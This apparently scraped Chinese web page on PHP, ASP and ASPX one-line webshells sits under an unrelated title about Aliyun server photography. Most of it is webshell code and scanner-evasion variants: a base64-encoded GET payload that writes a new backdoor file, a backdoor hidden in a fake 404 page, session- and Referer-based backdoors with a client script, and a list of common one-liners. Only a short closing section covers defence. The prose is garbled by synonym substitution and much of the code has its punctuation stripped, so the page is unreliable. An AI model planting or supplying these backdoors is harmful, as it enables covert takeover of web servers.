一句话木马原理与攻防:阿里云服务器拍摄技巧

時間:2023-12-30 18:51:32 作者:阿里云服务器拍摄技巧 熱度:阿里云服务器拍摄技巧
阿里云服务器拍摄技巧描述::

一句话木马原理很简朴,造型也很简朴,所以造成了它懂得起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的组成变形的后门,去掩蔽特性,而白帽则不断的更新过滤想法,建起更高的城墙。

一、原理简述

对于差异的语言有差异的组成想法。

  • 根本组成:最开头组成的是脚本开端的标志

  • 核心部门:获取并执行得到的内容,通常相似eval、execute等

  • 被执行内容:一般是等协议承受的值,通常相似request、$_POST等

    • 假如我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。

      *asp一句话木马*execute(request(value))*php一句话木马*?phpeval($_POST[value]);?*aspx一句话木马*PageLanguage=Jscripteval(RequestItem[value])

      黑帽子的目标,就是想尽设法给目的网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(asp 、php、aspx ),或者是隐藏在某些网页下的文件、代码等。

      其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送管理脚本。也会涉及到一些任意文件上传破绽等。

      二、简朴变形

      很显著的 eval 可以成为一个静态特性码,ebshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简朴变形不显露eval:

      ?php$_GET[a]($_POST[b])?

      同理,传给a值为 base64_decode(base64编码过后的eval)。

      ?php$_GET[a]($_GET[b]);?

      应用想法:

      ?a=assertb=${fputs28fopen28base64_decode28Yy5aHA29,29,base64_decode28PD9aHAgQGV2YWoJF9QT1NUW2NdKTsgPz4x2929};

      通过对GET请愿的URL组成而形成应用,左括号和右括号是URL编码,解码回来如下:

      ?a=assertb=${fputs(fopen(base64_decode(Yy5aHA),),base64_decode(PD9aHAgQGV2YWoJF9QT1NUW2NdKTsgPz4x))};

      PHP收取到GET请愿后相当于执行一个assert函数,并把b作为assert的参数。b里面采用略php的base64解码函数,把部门信息通过base64编码而绕过扫描,解码后如下:

      ?a=assertb=${fputs(fopen(cphp,),?phpeval($_POST[c]);?1)};

      执行后当前目录生成cphp文件并写入一句话木马,这已经算是一个非常掩蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是应用xor, 字符串翻转,压缩,截断重组等等想法来绕过。

      三、变形改善

      1404页面隐藏木马

      !DOCTYPEHTMLPUBLIC-IETFDTDHTML20ENhead	title404NotFoundtitleheadbody	h1NotFoundh1	pTherequestedURLasnotfoundonthisserverpbody?phppreg_replace([pageerror]e,$_POST[error],saft);header(HTTP11404NotFound);?

      一般404页面放好后,很少有人会定期对404页面进行查验和改动。

      假如在404页面挂上了一句话后门,一方面不会被发明,另一方面,黑帽子很容易能定位到并连接上服务器。

      2无特性隐藏PHP后门

      应用session:

      ?phpsession_start();$_POST[code]$_SESSION[theCode]=trim($_POST[code]);$_SESSION[theCode]preg_replace(\a\eis,eval(base64_decode($_SESSION[\theCode\])),a);

      应用$_SEESION变量来绕过扫描,将$_POST[code]赋值给$_SESSION[theCode],然后eval执行SESSION的内容。

      应用HTTP_REFERER:

      应用请愿中的HTTP_REFERER来运行途经base64编码的代码,到达后门的功效,采用两个文件。

      ?php1phpheader(Content-typetext;charset=utf-8);parse_str($_SERVER[HTTP_REFERER],$a);if(reset($a)==10count($a)==9){eval(base64_decode(str_replace(,+,implode(array_slice($a,6)))));}
      ?php2phpheader(Content-typetext;charset=utf-8);要执行的代码$code=CODEphpinfo();CODE;进行base64编码$code=base64_encode($code);组成referer字符串$referer=a=10b=abc=34d=ree=32f=kmg={$code}h=i=;后门url$url=localhosttest11php;$ch=curl_init();$options=[CURLOPT_URL=$url,CURLOPT_HEADER=FALSE,CURLOPT_RETURNTRANSFER=TRUE,CURLOPT_REFERER=$referer];curl_setopt_array($ch,$options);echocurl_exec($ch);

      拜访2php,会组成一个会话,进到后门1php那里。然后在HTTP_REFERER 的内容也会传递给1php,通过1php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。

      3常见的后门

      菜刀一句话$hh=preg_replace;$hh([discuz]e,$_POST[h],Access);危险的include函数,直接编译任何文件为php形式运行$filename=$_GET[xb];include($filename);重命名任何文件$reg=copy;$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);菜刀一句话$gz=preg_replace;$gz([discuz]e,$_POST[h],Access);gif插一句话危险的include函数,直接编译任何文件为php形式运行,POSTinclude($u);代表一句话?phpeval_r($_POST[s])??phpeval_r($_POST[s])?采用lanker一句话客户端的专家模式执行相关的php语句?phpassert($_POST[s]);??$_POST[a]($_POST[b]);??$_POST[a]($_POST[b],$_POST[c])?采用这个后,采用菜刀一句话客户端在配置连接的时候在配置一栏输入?phppreg_replace([email]e,$_POST[h],error);?Oh=eval_r($_POST1);O绕过?限制的一句话scriptlanguage=phpeval_r($_POST[sb])script

      四、攻防

      攻方:应用各种各样的绕过姿势,都是试图让扫描工具无效。

      守方:解析各种各样的函数,寻找有效的特性码来防范后门。

      黑帽子大牛:深入eb框架内核,发掘出代码不足,组成出复杂的后门应用。

      安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,组成适合的过滤器。

      语义解析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未途经滤就得到了执行,或是进入数据库中。

      针对超全局变量进行语义解析:

      • $_GET

      • $_POST

      • $_REQUEST

      • $_SERVER

      • $_FILES

      • $_COOKIE

      • $_SESSION

      • $_ENV

      • $GLOBALS

站長聲明:以上關於【一句话木马原理与攻防-阿里云服务器拍摄技巧】的內容是由各互聯網用戶貢獻並自行上傳的,我們新聞網站並不擁有所有權的故也不會承擔相關法律責任。如您發現具有涉嫌版權及其它版權的內容,歡迎發送至:1@qq.com 進行相關的舉報,本站人員會在2~3個工作日內親自聯繫您,一經查實我們將立刻刪除相關的涉嫌侵權內容。